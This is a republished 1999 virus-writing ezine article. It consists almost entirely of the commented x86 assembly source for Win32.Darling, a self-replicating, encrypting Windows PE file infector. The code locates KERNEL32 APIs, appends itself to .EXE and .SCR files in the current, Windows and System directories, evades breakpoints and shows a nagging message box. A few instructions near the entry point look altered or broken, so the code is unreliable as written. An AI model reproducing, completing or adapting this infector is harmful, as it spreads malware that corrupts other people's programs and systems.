Copy Link
Add to Bookmark
Report

The Win32.Darling virus

H0l0kausT Issue 1

eZine's profile picture
Published in 
H0l0kausT
 · 5 Mar 2023

;============================================================================ 
;
;
; NAME: Win32.Darling v1.00
; TYPE: Direct-action variable-encrypting PE-infector.
; SIZE: Around 1700 bytes.
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: May 1999.
; PAYLOAD: Randomly pops-up a message-box.
;
;
; FEATURES:
;
; - True Win32-compatible (Win-95/98/NT).
; - Variable encrypting (32-bit key).
; - Traps possible errors with a SEH.
; - Infects files in current/windoze/system-directory.
; - Non-destructive payload (ARGHHH!!!!!).
;
;
; Nothing brand new at all, this is just a quick Win32.Savior hack, with
; some improvements. Now it fetches API from KERNEL32.DLL's export-table,
; so it doesn't have to rely on the host's imports anymore...
;
; Succesfully tested on Win95 (OSR/2), Win98, and WinNT (4.0).
;
;
; KNOWN PROBLEMS:
;
; For some reason my infected dummy-files start executing wrongly decrypted
; code, this only happens when a small file is executed two times in a row,
; under NT. It doesn't look like a bug of mine, I suspect the caching is
; fucking things up.
;
;
; Assemble with: TASM32 SAVIOR.ASM /m /ml
; TLINK32 SAVIOR.OBJ IMPORT32.LIB
; PEWRSEC SAVIOR.EXE
;
;============================================================================


.386p
.MODEL FLAT
.CODE

ORG 0


EXTRN ExitProcess:PROC ; Only used by the carrier.


Debug_Mode = 1 ; If true, only DUM?.* files are
; targetted for infection.

Virus_Size EQU (Virus_End-START)
Virus_Size_Mem EQU (Virus_End_Mem-START)
Max_Infect EQU 4
Min_Size_Infect EQU 4096


START:
push eax
lidt [esp-2]
pop eax
jmp Carrier
PUSH ESP ; Reserve room for EIP.

PUSHFD ; Save registers & flags.
PUSHAD

CALL Get_Delta ; Get our location in memory.

Anti_Moron DB 0E9h ; Overlapping code, anti BP.

Get_Delta: POP EBP
SUB EBP, (Anti_Moron-START)

MOV EAX, 0
Init_Key = DWORD PTR $-4

MOV EBX, 0
Init_Slide = DWORD PTR $-4

MOV ECX, (Virus_End-Encrypted) / 4

PUSH EBP

Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX

SUB EBP, 4

ADD EAX, EBX ; Slide decryption-key.

RCL EBX, 3 ; Slide key-slider.

LOOP Decrypt_DWORD

POP EBP

IF (($-START) MOD 4) GT 0
DB (4 - (($-START) MOD 4)) DUP(90h)
ENDIF

Encrypted: MOV EAX, EBP

SUB EAX, 1000h ; Calculate image-base.
Base_Displ = DWORD PTR $-4

LEA EBX, [EAX+((Carrier-START)+1000h)]
Old_EIP_RVA = DWORD PTR $-4

MOV [ESP+(9*4)], EBX ; Set address host in stack.

CALL Setup_SEH ; PUSH SEH-address on stack.

MOV ESP, [ESP+(2*4)] ; Restore original stack.

JMP Restore_SEH ; Terminate program-flow.

Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer.
; MOV FS:[ECX], ESP ; Set our own SEH.

CLD

MOV EAX, [ESP+(12*4)]

XOR AX, AX

Find_K32_Base: CMP EAX, 400000h ; Below application-memory?
JB JMP_Rest_SEH ; ARGHH! Not found!

CMP [EAX.EXE_Mark], 'ZM'
JNE Scan_Downwards

CMP [EAX.Reloc_Table], 40h
JB Scan_Downwards

MOV EBX, [EAX+3Ch]
ADD EBX, EAX

CMP [EBX.PE_Mark], 'EP'
JNE Scan_Downwards

MOV EBX, [EBX+120] ; K32's export-table.
ADD EBX, EAX

MOV ESI, [EBX+(3*4)] ; ASCIIZ-name of DLL.
ADD ESI, EAX

PUSH EAX

LODSD
CALL Upcase_EAX

XCHG ECX, EAX

LODSD
CALL Upcase_EAX

CMP EAX, '23LE' ; Check for KERNEL32.DLL.

POP EAX

JNE Scan_Downwards

CMP ECX, 'NREK' ; Found KERNEL32.DLL ?
JE Found_K32_Base

Scan_Downwards: SUB EAX, 65536

JMP Find_K32_Base

Virus_Name DB 'Win32.Darling v1.00', 0

JMP_Rest_SEH: JMP Restore_SEH ; Abort all.

Found_K32_Base: MOV EDX, [EBX+(8*4)] ; Array of name RVA's.
ADD EDX, EAX

MOV ECX, [EBX+(6*4)] ; Amount of name entries.

DEC ECX ; Last entry name.

Find_GPA: MOV EDI, [EDX+(ECX*4)] ; Offset name.
ADD EDI, EAX

PUSHAD

LEA ESI, [EBP+(GetProcAddress_Name-START)]
PUSH 15
POP ECX
REPE CMPSB

POPAD

JNE LOOP_Find_GPA

MOV ESI, [EBX+(9*4)] ; Array of API ordinals.
ADD ESI, EAX

MOVZX ESI, WORD PTR [ESI+(ECX*2)]

MOV EBX, [EBX+(7*4)] ; Array of API RVA's.
ADD EBX, EAX

LEA EBX, [EBX+(ESI*4)]

MOV ESI, [EBX]
ADD ESI, EAX

MOV [EBP+(GetProcAddress-START)], ESI

LOOP_Find_GPA: LOOP Find_GPA

XCHG EBX, EAX

LEA ESI, [EBP+(API_Names-START)]
LEA EDI, [EBP+(API_Addresses-START)]

Loop_Get_API: PUSH ESI
PUSH EBX
CALL [EBP+(GetProcAddress-START)]

CLD ; Store API-address.
STOSD

XCHG ECX, EAX ; API not found?
JECXZ JMP_Rest_SEH

Find_Next_API: LODSB

OR AL, AL ; Found end of API-name?
JNZ Find_Next_API

CMP [ESI], AL ; We've did 'em all?
JNZ Loop_Get_API

LEA ESI, [EBP+(Current_Directory-START)]
MOV EBX, 260

PUSH ESI

PUSH ESI ; Retrieve current path.
PUSH EBX
CALL [EBP+(GetCurrentDirectoryA-START)]

ADD ESI, EBX

PUSH ESI

PUSH EBX ; Retrieve Windoze-directory.
PUSH ESI
CALL [EBP+(GetWindowsDirectoryA-START)]

ADD ESI, EBX

PUSH ESI

PUSH EBX ; Retrieve System-directory.
PUSH ESI
CALL [EBP+(GetSystemDirectoryA-START)]

; Infect files in System-directory.

CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory

; Infect files in Windoze-directory.

CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory

; Infect files in current-directory.

CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory

CALL [EBP+(GetTickCount-START)]

CMP AL, 10
JA Restore_SEH
jmp Restore_SEH
;gall
LEA EAX, [EBP+(USER32_Name-START)]
PUSH EAX
CALL [EBP+(GetModuleHandleA-START)]

XCHG ECX, EAX
JECXZ Restore_SEH

LEA EAX, [EBP+(MessageBoxA_Name-START)]
PUSH EAX
PUSH ECX
CALL [EBP+(GetProcAddress-START)]

OR EAX, EAX
JZ Restore_SEH

XCHG EBX, EAX

; Display an OK/Cancel-box with a message.

Show_Our_Box: PUSH 30h OR 01h
LEA EAX, [EBP+(Payload_Title-START)]
PUSH EAX
LEA EAX, [EBP+(Payload_Text-START)]
PUSH EAX
PUSH 0
CALL EBX

DEC EAX ; They're disrespecting us
DEC EAX ; by clicking on Cancel?
JZ Show_Our_Box ; Then just repeat all.

Restore_SEH: XOR EAX, EAX

POP DWORD PTR FS:[EAX] ; Restore original SEH.
POP EAX ; Trash handler-address.

Execute_Host: POPAD ; Restore registers & flags.
POPFD

RET ; RETurn to our host.


Payload_Title DB 'http://www.drrling.se', 0

Payload_Text DB 'THIS IS A DEDICATION TO THE BEST MAGAZINE '
DB 'IN SWEDEN, DARLING. - IR IN ''99', 0


Infect_Directory:

PUSHAD

; Clear infection-counter.

AND BYTE PTR [EBP+(Infect_Counter-START)], 0

LEA EAX, [EBP+(Search_Record-START)]
PUSH EAX
LEA EAX, [EBP+(Search_Mask-START)]
PUSH EAX
CALL [EBP+(FindFirstFileA-START)]

MOV ESI, EAX ; Save search-handle in ESI.

INC EAX
JZ Exit_Inf_Dir

Infect_Loop: PUSHAD

LEA EBX, [EBP+(Search_Record.Find_File_Name-START)]

MOV ESI, EBX

CLD

Find_End_Name: LODSB ; Get next byte of filename.

OR AL, AL ; Found end of the ASCIIZ ?
JNZ Find_End_Name

MOV EAX, [ESI-5] ; Get extension DWORD.
CALL Upcase_EAX

CMP EAX, 'EXE.' ; Standard .EXE-file?
JE Extension_OK

CMP EAX, 'RCS.' ; Screensaver?
JNE Exit_Infect

Extension_OK: PUSH EBX
CALL [EBP+(GetFileAttributesA-START)]

CMP EAX, -1 ; Error occurred?
JE Exit_Infect

MOV ESI, EAX

AND AL, NOT 00000001b ; Get rid of readonly-flag.

PUSH EAX
PUSH EBX
CALL [EBP+(SetFileAttributesA-START)]

DEC EAX ; Error occurred?
JNZ Exit_Infect

PUSH ESI ; PUSH filename + attributes
PUSH EBX ; for Restore_Attr.

PUSH EAX ; Open candidate-file.
PUSH EAX
PUSH 3 ; Open existing.
PUSH EAX
PUSH EAX
PUSH 80000000h OR 40000000h ; Read/write-access.
PUSH EBX
CALL [EBP+(CreateFileA-START)]

MOV [EBP+(File_Handle-START)], EAX

MOV ESI, EAX

INC EAX ; Error occurred?
JZ Restore_Attr

PUSH ESI ; For CloseHandle.

PUSH 0 ; Get candidate's filesize.
PUSH ESI
CALL [EBP+(GetFileSize-START)]

CMP EAX, Min_Size_Infect ; File too small?
JB Close_Handle

LEA EAX, [EBP+(Time_Last_Write-START)]

PUSH EAX ; Get filedates & times.
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH ESI
CALL [EBP+(GetFileTime-START)]

; Read the MZ-header.

Read_Header: LEA EBX, [EBP+(Header-START)]
PUSH 40h
POP ECX
CALL Read_File
JNZ Close_Handle

CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file.
JNE Close_Handle

CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header?
JB Close_Handle

MOV ESI, [EBX+3Ch]

MOV EAX, ESI ; Seek to PE-header.
CALL Seek_File
JZ Close_Handle

PUSH 92 ; Read-in the PE-header.
POP ECX
CALL Read_File
JNZ Close_Handle

CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header.
JNE Close_Handle

; Program is executable?

TEST BYTE PTR [EBX.PE_Flags], 00000010b
JZ Close_Handle

; Don't infect DLL's.

TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
JNZ Close_Handle

CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file.
JNE Close_Handle

; Is it already infected?

CMP [EBX.Checksum], 93FB2AA7h
JE Close_Handle

PUSH ESI

; Calculate position of the last section-header.

MOVZX EAX, [EBX.Number_Of_Sections]
DEC AX
PUSH 40
POP ECX
MUL ECX

; Calculate size of PE-header.

MOV DX, [EBX.NT_Header_Size]
ADD DX, 24

LEA ECX, [ESI+EDX] ; Start section-headers.

ADD EAX, ECX ; EAX = last section-header.

PUSH EAX

; Seek to last section-header.

CALL Seek_File

LEA ESI, [EBP+(Last_Section_Header-START)]

PUSH EBX

MOV EBX, ESI ; Read last section-header.
PUSH 40
POP ECX
CALL Read_File

POP EBX

MOV EAX, [ESI.Section_RVA]
ADD EAX, [ESI.Section_Physical_Size]

MOV [EBP+(Base_Displ-START)], EAX

XCHG [EBX.EIP_RVA], EAX

MOV [EBP+(Old_EIP_RVA-START)], EAX

; Seek to the end of the section.

MOV EAX, [ESI.Section_Physical_Offset]
ADD EAX, [ESI.Section_Physical_Size]
CALL Seek_File

MOV EAX, [ESI.Section_Physical_Size]
ADD EAX, Virus_Size
MOV ECX, [EBX.File_Align]
CALL Align_EAX

MOV [ESI.Section_Physical_Size], EAX

XCHG EDI, EAX ; Save physical-size in EDI.

MOV EAX, [ESI.Section_Virtual_Size]
MOV ECX, [EBX.Object_Align]
CALL Align_EAX

SUB [EBX.Image_Size], EAX

ADD EAX, Virus_Size_Mem - 1

Calc_Mem_Size: INC EAX
CALL Align_EAX

CMP EAX, EDI ; Virtual-size may not be
JB Calc_Mem_Size ; smaller than physical-size.

MOV [ESI.Section_Virtual_Size], EAX

ADD [EBX.Image_Size], EAX

; Set section-flags: read, write, executable, & code.

OR [ESI.Section_Flags], 11100000000000000000000000100000b

LEA EDI, [EBP+(Buffer-START)]

PUSHAD

; Get a random slide-key.

CALL [EBP+(GetTickCount-START)]

MOV [EBP+(Init_Slide-START)], EAX

XCHG EBX, EAX

; Get a random encryption-key.

CALL [EBP+(GetTickCount-START)]

MOV [EBP+(Init_Key-START)], EAX

MOV ESI, EBP
MOV ECX, (Virus_Size / 4)
CLD
REP MOVSD

MOV ECX, (Virus_End-Encrypted) / 4

Encrypt_DWORD: SUB EDI, 4

XOR [EDI], EAX

ADD EAX, EBX

RCL EBX, 3

LOOP Encrypt_DWORD

POPAD

MOV EDX, EDI ; Write virusbody to end
MOV ECX, Virus_Size ; of the last section.
CALL Write_File

POP EAX ; Offset last object-header.
CALL Seek_File

; Write updated section-header back to file.

PUSH 40
POP ECX
LEA EDX, [EBP+(Last_Section_Header-START)]
CALL Write_File

; Seek to end of file.

PUSH 2
PUSH EAX
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFilePointer-START)]

XOR EDX, EDX ; Zero-pad the infected file.
MOV EDI, [EBX.File_Align]
DIV EDI

OR EDX, EDX ; File is already aligned?
JZ Mark_Inf_File

SUB EDI, EDX ; Howmany bytes to pad?

Zero_Pad: PUSH 1 ; Write a padding-byte.
POP ECX
LEA EDX, [EBP+(Zero_Tolerance-START)]
CALL Write_File

DEC EDI ; We've did 'em all?
JNZ Zero_Pad

Mark_Inf_File: MOV [EBX.Checksum], 93FB2AA7h

POP EAX ; Seek to start of PE-header.
CALL Seek_File

PUSH 92 ; Write updated PE-header.
POP ECX
MOV EDX, EBX
CALL Write_File

; Increment our infection-counter.

INC BYTE PTR [EBP+(Infect_Counter-START)]

; Restore original file-dates & times.

Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)]
PUSH EAX
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFileTime-START)]

Close_Handle: CALL [EBP+(CloseHandle-START)]

Restore_Attr: CALL [EBP+(SetFileAttributesA-START)]

Exit_Infect: POPAD

; We've did enough infections?

CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect
JNB Close_Find

; Find another file.

LEA EAX, [EBP+(Search_Record-START)]
PUSH EAX
PUSH ESI
CALL [EBP+(FindNextFileA-START)]

DEC EAX ; Continue if search went OK.
JZ Infect_Loop

Close_Find: PUSH ESI ; Close search-handle.
CALL [EBP+(FindClose-START)]

Exit_Inf_Dir: POPAD

RET


; EAX = Offset.
; Returns ZF if error.
Seek_File:
PUSH 0
PUSH 0
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFilePointer-START)]

INC EAX

RET


; EBX = Buffer.
; ECX = Bytes to read.
; Returns ZF if successful.
Read_File:
PUSH 0
LEA EAX, [EBP+(Bytes_Read-START)]
PUSH EAX
PUSH ECX
PUSH EBX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(ReadFile-START)]

DEC EAX

RET


; ECX = Amount of bytes.
; EDX = Buffer.
; Returns ZF if successful.
Write_File:
PUSH 0
LEA EAX, [EBP+(Bytes_Read-START)]
PUSH EAX
PUSH ECX
PUSH EDX
PUSH 12345678h
File_Handle = DWORD PTR $-4
CALL [EBP+(WriteFile-START)]

DEC EAX

RET


Align_EAX:
XOR EDX, EDX
DIV ECX

OR EDX, EDX ; Even division?
JZ No_Round ; Then no need to round-up.

INC EAX ; Round-up.

No_Round: MUL ECX

RET


Upcase_EAX:
ROL EAX, 8
CALL Upcase_AL

ROL EAX, 8
CALL Upcase_AL

ROL EAX, 8
CALL Upcase_AL

ROL EAX, 8

Upcase_AL: CMP AL, 'a'
JB Exit_Upcase_AL

CMP AL, 'z'
JA Exit_Upcase_AL

SUB AL, 'a' - 'A'

Exit_Upcase_AL: RET


IF Debug_Mode

Search_Mask DB 'DUM?.*', 0

ELSE

Search_Mask DB '*.*', 0

ENDIF


USER32_Name DB 'USER32', 0
MessageBoxA_Name DB 'MessageBoxA', 0
GetProcAddress_Name DB 'GetProcAddress', 0

API_Names: DB 'GetCurrentDirectoryA', 0
DB 'SetCurrentDirectoryA', 0
DB 'GetWindowsDirectoryA', 0
DB 'GetSystemDirectoryA', 0
DB 'FindFirstFileA', 0
DB 'FindNextFileA', 0
DB 'FindClose', 0
DB 'GetFileAttributesA', 0
DB 'SetFileAttributesA', 0
DB 'CreateFileA', 0
DB 'CloseHandle', 0
DB 'GetFileTime', 0
DB 'SetFileTime', 0
DB 'GetFileSize', 0
DB 'SetFilePointer', 0
DB 'ReadFile', 0
DB 'WriteFile', 0
DB 'GetModuleHandleA', 0
DB 'GetTickCount', 0
Zero_Tolerance DB 0


IF (($-START) MOD 4) GT 0
DB (4 - (($-START) MOD 4)) DUP(0)
ENDIF

Virus_End:


API_Addresses:

; === Our needed API from KERNEL32.DLL. ===

GetCurrentDirectoryA DD 0
SetCurrentDirectoryA DD 0
GetWindowsDirectoryA DD 0
GetSystemDirectoryA DD 0
FindFirstFileA DD 0
FindNextFileA DD 0
FindClose DD 0
GetFileAttributesA DD 0
SetFileAttributesA DD 0
CreateFileA DD 0
CloseHandle DD 0
GetFileTime DD 0
SetFileTime DD 0
GetFileSize DD 0
SetFilePointer DD 0
ReadFile DD 0
WriteFile DD 0
GetModuleHandleA DD 0
GetTickCount DD 0

GetProcAddress DD 0

Time_Creation DD 0, 0
Time_Last_Access DD 0, 0
Time_Last_Write DD 0, 0

Infect_Counter DB 0
Bytes_Read DD 0
Header DB 92 DUP(0)
Last_Section_Header DB 40 DUP(0)
Search_Record DB 318 DUP(0)

Current_Directory DB 260 DUP(0)
Windows_Directory DB 260 DUP(0)
System_Directory DB 260 DUP(0)

Buffer DB Virus_Size DUP(0)

Virus_End_Mem:


Carrier:
PUSH 0 ; Terminate current process.
CALL ExitProcess


;---------------------- SOME USED STRUCTURES --------------------------------


EXE_Header STRUC
EXE_Mark DW 0 ; MZ-marker (MZ or ZM).
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
MZ_Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS


PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Number_Of_Sections DW 0 ; Number of sections in PE.
DD 0
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_Size DD 0
DD 0
Checksum DD 0
PE_Header ENDS


Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS


Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
Find_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 14 DUP(0)
Find_First_Next_Win32 ENDS

END START

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT